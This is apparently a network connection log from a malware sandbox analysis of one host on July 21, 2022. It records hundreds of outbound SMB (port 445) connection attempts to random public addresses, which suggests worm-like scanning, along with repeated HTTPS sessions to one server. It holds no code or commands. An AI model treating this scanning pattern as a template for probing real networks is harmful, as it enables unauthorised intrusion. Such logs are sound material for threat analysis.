Jul 21, 2022 04:35:59.755770922 CEST	53325	445	192.168.2.6	197.165.213.174
Jul 21, 2022 04:35:59.755871058 CEST	53326	445	192.168.2.6	163.38.167.162
Jul 21, 2022 04:35:59.756004095 CEST	53328	445	192.168.2.6	119.9.64.100
Jul 21, 2022 04:35:59.756045103 CEST	53329	445	192.168.2.6	53.181.216.54
Jul 21, 2022 04:35:59.756161928 CEST	53330	445	192.168.2.6	175.7.30.39
Jul 21, 2022 04:35:59.760381937 CEST	445	53318	207.180.242.38	192.168.2.6
Jul 21, 2022 04:35:59.854595900 CEST	53336	445	192.168.2.6	125.201.102.136
Jul 21, 2022 04:35:59.854780912 CEST	53339	445	192.168.2.6	79.20.187.213
Jul 21, 2022 04:35:59.854784012 CEST	53337	445	192.168.2.6	120.102.127.80
Jul 21, 2022 04:35:59.854803085 CEST	53338	445	192.168.2.6	110.69.216.173
Jul 21, 2022 04:35:59.854954004 CEST	53342	445	192.168.2.6	118.30.20.84
Jul 21, 2022 04:35:59.855051041 CEST	53343	445	192.168.2.6	80.219.43.192
Jul 21, 2022 04:35:59.855336905 CEST	53344	445	192.168.2.6	27.244.44.134
Jul 21, 2022 04:35:59.855427980 CEST	53345	445	192.168.2.6	21.120.12.24
Jul 21, 2022 04:35:59.855531931 CEST	53346	445	192.168.2.6	15.96.244.13
Jul 21, 2022 04:35:59.855597019 CEST	53347	445	192.168.2.6	5.137.51.228
Jul 21, 2022 04:35:59.855932951 CEST	53349	445	192.168.2.6	162.228.126.33
Jul 21, 2022 04:35:59.855932951 CEST	53350	445	192.168.2.6	28.31.6.120
Jul 21, 2022 04:35:59.856069088 CEST	53352	445	192.168.2.6	19.205.113.231
Jul 21, 2022 04:35:59.868654013 CEST	53362	445	192.168.2.6	216.71.196.103
Jul 21, 2022 04:35:59.869096994 CEST	53364	445	192.168.2.6	56.97.64.2
Jul 21, 2022 04:35:59.869213104 CEST	53365	445	192.168.2.6	114.166.118.186
Jul 21, 2022 04:35:59.869213104 CEST	53366	445	192.168.2.6	99.116.216.105
Jul 21, 2022 04:35:59.869359016 CEST	53368	445	192.168.2.6	25.96.134.22
Jul 21, 2022 04:35:59.869409084 CEST	53370	445	192.168.2.6	66.168.207.215
Jul 21, 2022 04:35:59.869518042 CEST	53373	445	192.168.2.6	118.118.231.79
Jul 21, 2022 04:35:59.897664070 CEST	53374	445	192.168.2.6	70.216.51.245
Jul 21, 2022 04:35:59.899327040 CEST	53376	445	192.168.2.6	113.166.208.113
Jul 21, 2022 04:35:59.948353052 CEST	445	53347	5.137.51.228	192.168.2.6
Jul 21, 2022 04:36:00.206774950 CEST	53379	445	192.168.2.6	207.180.242.39
Jul 21, 2022 04:36:00.533906937 CEST	53347	445	192.168.2.6	5.137.51.228
Jul 21, 2022 04:36:00.626166105 CEST	445	53347	5.137.51.228	192.168.2.6
Jul 21, 2022 04:36:00.675156116 CEST	53383	445	192.168.2.6	123.26.16.21
Jul 21, 2022 04:36:00.675887108 CEST	53384	445	192.168.2.6	128.157.2.33
Jul 21, 2022 04:36:00.881100893 CEST	53385	445	192.168.2.6	166.16.151.81
Jul 21, 2022 04:36:00.881412983 CEST	53387	445	192.168.2.6	83.27.167.49
Jul 21, 2022 04:36:00.881620884 CEST	53389	445	192.168.2.6	49.92.153.202
Jul 21, 2022 04:36:00.881707907 CEST	53388	445	192.168.2.6	2.14.225.102
Jul 21, 2022 04:36:00.881710052 CEST	53390	445	192.168.2.6	96.196.246.65
Jul 21, 2022 04:36:00.881810904 CEST	53391	445	192.168.2.6	171.27.211.221
Jul 21, 2022 04:36:00.986726046 CEST	53396	445	192.168.2.6	23.186.53.163
Jul 21, 2022 04:36:00.986975908 CEST	53399	445	192.168.2.6	62.67.20.177
Jul 21, 2022 04:36:00.987456083 CEST	53398	445	192.168.2.6	97.172.129.62
Jul 21, 2022 04:36:00.987643957 CEST	53400	445	192.168.2.6	189.243.244.38
Jul 21, 2022 04:36:00.987900972 CEST	53402	445	192.168.2.6	149.100.120.3
Jul 21, 2022 04:36:00.988064051 CEST	53404	445	192.168.2.6	133.202.162.228
Jul 21, 2022 04:36:00.988137960 CEST	53405	445	192.168.2.6	203.241.120.77
Jul 21, 2022 04:36:00.988259077 CEST	53406	445	192.168.2.6	181.111.122.60
Jul 21, 2022 04:36:00.988276958 CEST	53407	445	192.168.2.6	179.51.13.205
Jul 21, 2022 04:36:00.988485098 CEST	53408	445	192.168.2.6	31.196.47.48
Jul 21, 2022 04:36:00.988830090 CEST	53409	445	192.168.2.6	126.150.103.140
Jul 21, 2022 04:36:01.032073021 CEST	53411	445	192.168.2.6	175.170.211.2
Jul 21, 2022 04:36:01.033004999 CEST	53420	445	192.168.2.6	176.172.36.203
Jul 21, 2022 04:36:01.054579020 CEST	53422	445	192.168.2.6	212.192.17.97
Jul 21, 2022 04:36:01.055315018 CEST	53424	445	192.168.2.6	71.157.199.144
Jul 21, 2022 04:36:01.055912971 CEST	53427	445	192.168.2.6	170.99.45.187
Jul 21, 2022 04:36:01.056088924 CEST	53428	445	192.168.2.6	11.201.170.8
Jul 21, 2022 04:36:01.057703018 CEST	53430	445	192.168.2.6	213.52.151.120
Jul 21, 2022 04:36:01.057930946 CEST	53431	445	192.168.2.6	218.117.193.109
Jul 21, 2022 04:36:01.070621014 CEST	53433	445	192.168.2.6	212.19.129.153
Jul 21, 2022 04:36:01.072782040 CEST	53435	445	192.168.2.6	73.109.102.234
Jul 21, 2022 04:36:01.073097944 CEST	53437	445	192.168.2.6	85.208.61.108
Jul 21, 2022 04:36:01.159735918 CEST	445	53422	212.192.17.97	192.168.2.6
Jul 21, 2022 04:36:01.284729004 CEST	53440	445	192.168.2.6	207.180.242.40
Jul 21, 2022 04:36:01.674602985 CEST	53422	445	192.168.2.6	212.192.17.97
Jul 21, 2022 04:36:01.779859066 CEST	445	53422	212.192.17.97	192.168.2.6
Jul 21, 2022 04:36:01.800322056 CEST	53444	445	192.168.2.6	93.56.98.133
Jul 21, 2022 04:36:01.803154945 CEST	53445	445	192.168.2.6	222.141.79.224
Jul 21, 2022 04:36:02.005681038 CEST	53447	445	192.168.2.6	107.51.77.233
Jul 21, 2022 04:36:02.006531000 CEST	53448	445	192.168.2.6	147.145.10.246
Jul 21, 2022 04:36:02.008336067 CEST	53449	445	192.168.2.6	217.37.176.252
Jul 21, 2022 04:36:02.030322075 CEST	53450	445	192.168.2.6	10.98.221.42
Jul 21, 2022 04:36:02.031794071 CEST	53452	445	192.168.2.6	190.239.151.97
Jul 21, 2022 04:36:02.032516003 CEST	53453	445	192.168.2.6	189.75.135.141
Jul 21, 2022 04:36:02.162173033 CEST	53459	445	192.168.2.6	111.238.118.236
Jul 21, 2022 04:36:02.175110102 CEST	53460	445	192.168.2.6	60.20.25.204
Jul 21, 2022 04:36:02.187810898 CEST	53461	445	192.168.2.6	182.42.12.159
Jul 21, 2022 04:36:02.194780111 CEST	53465	445	192.168.2.6	120.138.73.3
Jul 21, 2022 04:36:02.195044994 CEST	53466	445	192.168.2.6	72.158.150.91
Jul 21, 2022 04:36:02.195225000 CEST	53467	445	192.168.2.6	165.51.9.242
Jul 21, 2022 04:36:02.195396900 CEST	53468	445	192.168.2.6	37.74.117.21
Jul 21, 2022 04:36:02.195533991 CEST	53469	445	192.168.2.6	42.223.98.54
Jul 21, 2022 04:36:02.195705891 CEST	53470	445	192.168.2.6	221.168.63.182
Jul 21, 2022 04:36:02.195863008 CEST	53471	445	192.168.2.6	134.33.207.30
Jul 21, 2022 04:36:02.196109056 CEST	53473	445	192.168.2.6	124.212.114.44
Jul 21, 2022 04:36:02.197890997 CEST	53483	445	192.168.2.6	173.140.6.241
Jul 21, 2022 04:36:02.216073036 CEST	53484	445	192.168.2.6	125.132.49.177
Jul 21, 2022 04:36:02.216181040 CEST	53485	445	192.168.2.6	197.40.186.66
Jul 21, 2022 04:36:02.216423988 CEST	53489	445	192.168.2.6	110.223.225.84
Jul 21, 2022 04:36:02.216561079 CEST	53491	445	192.168.2.6	108.231.179.49
Jul 21, 2022 04:36:02.216645956 CEST	53492	445	192.168.2.6	116.197.232.50
Jul 21, 2022 04:36:02.216763973 CEST	53494	445	192.168.2.6	3.190.41.151
Jul 21, 2022 04:36:02.216859102 CEST	53495	445	192.168.2.6	191.147.0.158
Jul 21, 2022 04:36:02.216985941 CEST	53498	445	192.168.2.6	98.71.4.50
Jul 21, 2022 04:36:02.217052937 CEST	53499	445	192.168.2.6	166.164.126.177
Jul 21, 2022 04:36:02.320815086 CEST	445	53485	197.40.186.66	192.168.2.6
Jul 21, 2022 04:36:02.366775990 CEST	53502	445	192.168.2.6	207.180.242.41
Jul 21, 2022 04:36:02.389729977 CEST	445	53502	207.180.242.41	192.168.2.6
Jul 21, 2022 04:36:02.830950022 CEST	53485	445	192.168.2.6	197.40.186.66
Jul 21, 2022 04:36:02.910274029 CEST	53506	445	192.168.2.6	124.201.238.91
Jul 21, 2022 04:36:02.910706043 CEST	53507	445	192.168.2.6	80.187.117.88
Jul 21, 2022 04:36:02.924803972 CEST	53502	445	192.168.2.6	207.180.242.41
Jul 21, 2022 04:36:02.935914040 CEST	445	53485	197.40.186.66	192.168.2.6
Jul 21, 2022 04:36:02.947882891 CEST	445	53502	207.180.242.41	192.168.2.6
Jul 21, 2022 04:36:03.129491091 CEST	53509	445	192.168.2.6	119.23.138.56
Jul 21, 2022 04:36:03.129597902 CEST	53510	445	192.168.2.6	67.82.156.249
Jul 21, 2022 04:36:03.129601002 CEST	53511	445	192.168.2.6	27.223.144.33
Jul 21, 2022 04:36:03.145452023 CEST	53512	445	192.168.2.6	219.181.212.104
Jul 21, 2022 04:36:03.145499945 CEST	53513	445	192.168.2.6	211.154.104.98
Jul 21, 2022 04:36:03.145611048 CEST	53515	445	192.168.2.6	62.145.17.77
Jul 21, 2022 04:36:03.285057068 CEST	53520	445	192.168.2.6	189.222.115.59
Jul 21, 2022 04:36:03.295814991 CEST	53521	445	192.168.2.6	164.119.217.146
Jul 21, 2022 04:36:03.297028065 CEST	53523	445	192.168.2.6	15.21.2.132
Jul 21, 2022 04:36:03.308078051 CEST	53532	445	192.168.2.6	197.187.32.31
Jul 21, 2022 04:36:03.309154987 CEST	53534	445	192.168.2.6	37.191.155.18
Jul 21, 2022 04:36:03.309699059 CEST	53535	445	192.168.2.6	136.248.191.2
Jul 21, 2022 04:36:03.310208082 CEST	53536	445	192.168.2.6	181.35.117.67
Jul 21, 2022 04:36:03.310698986 CEST	53537	445	192.168.2.6	121.207.47.201
Jul 21, 2022 04:36:03.311194897 CEST	53538	445	192.168.2.6	214.30.226.135
Jul 21, 2022 04:36:03.311922073 CEST	53539	445	192.168.2.6	26.137.184.193
Jul 21, 2022 04:36:03.312427998 CEST	53540	445	192.168.2.6	2.75.85.55
Jul 21, 2022 04:36:03.313894033 CEST	53543	445	192.168.2.6	135.65.162.196
Jul 21, 2022 04:36:03.316412926 CEST	53545	445	192.168.2.6	170.216.0.96
Jul 21, 2022 04:36:03.316930056 CEST	53546	445	192.168.2.6	157.95.135.189
Jul 21, 2022 04:36:03.317497969 CEST	53547	445	192.168.2.6	203.200.104.24
Jul 21, 2022 04:36:03.319298983 CEST	53551	445	192.168.2.6	160.236.117.6
Jul 21, 2022 04:36:03.320498943 CEST	53553	445	192.168.2.6	143.6.15.6
Jul 21, 2022 04:36:03.321129084 CEST	53554	445	192.168.2.6	193.73.176.117
Jul 21, 2022 04:36:03.322304964 CEST	53556	445	192.168.2.6	182.122.18.93
Jul 21, 2022 04:36:03.323057890 CEST	53557	445	192.168.2.6	185.172.74.85
Jul 21, 2022 04:36:03.325074911 CEST	53560	445	192.168.2.6	77.241.216.196
Jul 21, 2022 04:36:03.325798035 CEST	53561	445	192.168.2.6	140.222.11.221
Jul 21, 2022 04:36:03.441001892 CEST	53563	445	192.168.2.6	207.180.242.42
Jul 21, 2022 04:36:03.676724911 CEST	52904	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:36:04.020004034 CEST	53570	445	192.168.2.6	86.19.21.232
Jul 21, 2022 04:36:04.020087957 CEST	53569	445	192.168.2.6	60.116.212.186
Jul 21, 2022 04:36:04.163685083 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.163736105 CEST	443	53572	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.163865089 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.164159060 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.164171934 CEST	443	53572	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.238377094 CEST	53573	445	192.168.2.6	4.38.4.110
Jul 21, 2022 04:36:04.238848925 CEST	53574	445	192.168.2.6	111.114.119.14
Jul 21, 2022 04:36:04.238912106 CEST	53575	445	192.168.2.6	201.160.25.4
Jul 21, 2022 04:36:04.254604101 CEST	53576	445	192.168.2.6	90.41.70.8
Jul 21, 2022 04:36:04.255182981 CEST	53577	445	192.168.2.6	85.68.203.188
Jul 21, 2022 04:36:04.256309986 CEST	53579	445	192.168.2.6	147.176.85.126
Jul 21, 2022 04:36:04.305919886 CEST	443	53572	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.306026936 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.334508896 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.334542990 CEST	443	53572	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.347625017 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.347641945 CEST	443	53572	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.410103083 CEST	53584	445	192.168.2.6	176.206.70.193
Jul 21, 2022 04:36:04.410593033 CEST	53585	445	192.168.2.6	77.75.25.41
Jul 21, 2022 04:36:04.411567926 CEST	53587	445	192.168.2.6	136.59.186.79
Jul 21, 2022 04:36:04.425688982 CEST	53588	445	192.168.2.6	38.254.215.232
Jul 21, 2022 04:36:04.427500010 CEST	53591	445	192.168.2.6	39.169.199.86
Jul 21, 2022 04:36:04.440027952 CEST	53593	445	192.168.2.6	12.196.54.205
Jul 21, 2022 04:36:04.456588030 CEST	443	53572	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.456645966 CEST	443	53572	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.456660986 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.456695080 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.456875086 CEST	53594	445	192.168.2.6	92.249.188.124
Jul 21, 2022 04:36:04.456943989 CEST	53595	445	192.168.2.6	134.237.25.10
Jul 21, 2022 04:36:04.457000971 CEST	53596	445	192.168.2.6	211.69.154.43
Jul 21, 2022 04:36:04.457170963 CEST	53597	445	192.168.2.6	82.116.159.183
Jul 21, 2022 04:36:04.457247019 CEST	53599	445	192.168.2.6	67.124.20.31
Jul 21, 2022 04:36:04.458178997 CEST	53608	445	192.168.2.6	186.191.46.152
Jul 21, 2022 04:36:04.458374023 CEST	53613	445	192.168.2.6	89.121.142.246
Jul 21, 2022 04:36:04.458431959 CEST	53614	445	192.168.2.6	173.85.138.105
Jul 21, 2022 04:36:04.458514929 CEST	53615	445	192.168.2.6	164.141.105.142
Jul 21, 2022 04:36:04.458518028 CEST	53616	445	192.168.2.6	126.119.29.75
Jul 21, 2022 04:36:04.458623886 CEST	53618	445	192.168.2.6	93.114.251.172
Jul 21, 2022 04:36:04.458684921 CEST	53619	445	192.168.2.6	220.239.223.105
Jul 21, 2022 04:36:04.458818913 CEST	53623	445	192.168.2.6	47.224.233.139
Jul 21, 2022 04:36:04.458822012 CEST	53622	445	192.168.2.6	122.225.38.196
Jul 21, 2022 04:36:04.459007978 CEST	53626	445	192.168.2.6	191.150.104.103
Jul 21, 2022 04:36:04.461183071 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.461200953 CEST	443	53572	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.461244106 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.461261034 CEST	53572	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.478104115 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.478151083 CEST	443	53627	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.478224039 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.486093044 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.486115932 CEST	443	53627	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.520380020 CEST	53628	445	192.168.2.6	207.180.242.43
Jul 21, 2022 04:36:04.629004002 CEST	443	53627	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.629153013 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.630220890 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.630230904 CEST	443	53627	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.687967062 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.687988043 CEST	443	53627	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.808598042 CEST	443	53627	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.808659077 CEST	443	53627	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.808676958 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.808705091 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.810014009 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.810029030 CEST	443	53627	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.810056925 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.810084105 CEST	53627	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.812320948 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.812364101 CEST	443	53630	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.812444925 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.812865973 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.812877893 CEST	443	53630	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.952624083 CEST	443	53630	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.952697039 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.961901903 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.961935043 CEST	443	53630	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:04.964270115 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:04.964293957 CEST	443	53630	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.128983021 CEST	53635	445	192.168.2.6	147.27.109.78
Jul 21, 2022 04:36:05.129625082 CEST	53636	445	192.168.2.6	69.218.239.115
Jul 21, 2022 04:36:05.161647081 CEST	443	53630	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.161715031 CEST	443	53630	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.161756039 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.161776066 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.181137085 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.181181908 CEST	443	53630	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.181196928 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.181241989 CEST	53630	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.208734989 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.208779097 CEST	443	53637	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.208859921 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.211353064 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.211370945 CEST	443	53637	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.347779989 CEST	53639	445	192.168.2.6	130.64.219.74
Jul 21, 2022 04:36:05.349731922 CEST	53640	445	192.168.2.6	123.137.142.124
Jul 21, 2022 04:36:05.350507021 CEST	53641	445	192.168.2.6	89.207.153.35
Jul 21, 2022 04:36:05.358675003 CEST	443	53637	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.358767986 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.369369984 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.369398117 CEST	443	53637	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.376950979 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.376974106 CEST	443	53637	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.379286051 CEST	53642	445	192.168.2.6	206.138.108.214
Jul 21, 2022 04:36:05.380018950 CEST	53643	445	192.168.2.6	208.79.23.159
Jul 21, 2022 04:36:05.380738974 CEST	53644	445	192.168.2.6	199.194.5.1
Jul 21, 2022 04:36:05.453711987 CEST	443	53637	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.453809977 CEST	443	53637	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.453850985 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.453866005 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.454180956 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.454202890 CEST	443	53637	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.454217911 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.454274893 CEST	53637	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.468373060 CEST	53649	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.468414068 CEST	443	53649	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.468496084 CEST	53649	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.469294071 CEST	53649	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.469310045 CEST	443	53649	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.519542933 CEST	53651	445	192.168.2.6	100.205.176.122
Jul 21, 2022 04:36:05.521120071 CEST	53652	445	192.168.2.6	171.49.112.249
Jul 21, 2022 04:36:05.525150061 CEST	53654	445	192.168.2.6	49.60.107.116
Jul 21, 2022 04:36:05.552201986 CEST	53655	445	192.168.2.6	105.101.41.101
Jul 21, 2022 04:36:05.552551031 CEST	53657	445	192.168.2.6	103.152.168.78
Jul 21, 2022 04:36:05.552721977 CEST	53659	445	192.168.2.6	28.253.136.48
Jul 21, 2022 04:36:05.566510916 CEST	53660	445	192.168.2.6	173.70.238.196
Jul 21, 2022 04:36:05.581911087 CEST	53661	445	192.168.2.6	52.243.122.46
Jul 21, 2022 04:36:05.582590103 CEST	53662	445	192.168.2.6	107.167.182.245
Jul 21, 2022 04:36:05.583098888 CEST	53663	445	192.168.2.6	180.74.9.144
Jul 21, 2022 04:36:05.583626986 CEST	53664	445	192.168.2.6	81.95.110.30
Jul 21, 2022 04:36:05.584121943 CEST	53665	445	192.168.2.6	73.154.76.38
Jul 21, 2022 04:36:05.585566044 CEST	53668	445	192.168.2.6	210.108.119.146
Jul 21, 2022 04:36:05.592642069 CEST	53679	445	192.168.2.6	195.72.145.238
Jul 21, 2022 04:36:05.594173908 CEST	53681	445	192.168.2.6	129.202.89.230
Jul 21, 2022 04:36:05.594947100 CEST	53682	445	192.168.2.6	201.2.59.48
Jul 21, 2022 04:36:05.595660925 CEST	53683	445	192.168.2.6	63.227.51.75
Jul 21, 2022 04:36:05.596386909 CEST	53684	445	192.168.2.6	98.0.248.49
Jul 21, 2022 04:36:05.597282887 CEST	53685	445	192.168.2.6	5.210.163.201
Jul 21, 2022 04:36:05.599179983 CEST	53689	445	192.168.2.6	161.171.82.39
Jul 21, 2022 04:36:05.599683046 CEST	53690	445	192.168.2.6	91.216.227.73
Jul 21, 2022 04:36:05.600656986 CEST	53692	445	192.168.2.6	165.57.39.139
Jul 21, 2022 04:36:05.601937056 CEST	53694	445	192.168.2.6	207.180.242.44
Jul 21, 2022 04:36:05.627844095 CEST	443	53649	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.628036976 CEST	53649	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.637322903 CEST	53649	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.637339115 CEST	443	53649	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.648617029 CEST	53649	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.648639917 CEST	443	53649	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.709249020 CEST	443	53649	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.709311008 CEST	443	53649	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.709413052 CEST	53649	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.727741957 CEST	53649	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.727761984 CEST	443	53649	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.727768898 CEST	53649	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.728133917 CEST	53649	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.770823002 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.770858049 CEST	443	53696	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:05.771255970 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.859983921 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:05.860007048 CEST	443	53696	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.002774000 CEST	443	53696	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.002863884 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.015928984 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.015948057 CEST	443	53696	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.018527031 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.018548012 CEST	443	53696	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.136217117 CEST	443	53696	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.136287928 CEST	443	53696	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.136447906 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.136461973 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.142560959 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.142599106 CEST	443	53696	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.142612934 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.144124031 CEST	53696	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.153292894 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.153343916 CEST	443	53700	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.153458118 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.168939114 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.168966055 CEST	443	53700	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.254676104 CEST	53703	445	192.168.2.6	77.129.24.111
Jul 21, 2022 04:36:06.255697966 CEST	53704	445	192.168.2.6	182.18.157.97
Jul 21, 2022 04:36:06.285064936 CEST	445	53703	77.129.24.111	192.168.2.6
Jul 21, 2022 04:36:06.285264969 CEST	53703	445	192.168.2.6	77.129.24.111
Jul 21, 2022 04:36:06.285761118 CEST	53703	445	192.168.2.6	77.129.24.111
Jul 21, 2022 04:36:06.286714077 CEST	53705	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:06.307744026 CEST	443	53700	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.307843924 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.317217112 CEST	445	53705	77.129.24.1	192.168.2.6
Jul 21, 2022 04:36:06.319962978 CEST	53705	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:06.324629068 CEST	53705	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:06.329721928 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:06.330950975 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.330971956 CEST	443	53700	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.336622000 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.336647034 CEST	443	53700	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.360250950 CEST	445	53706	77.129.24.1	192.168.2.6
Jul 21, 2022 04:36:06.360874891 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:06.361146927 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:06.457344055 CEST	53708	445	192.168.2.6	41.221.213.222
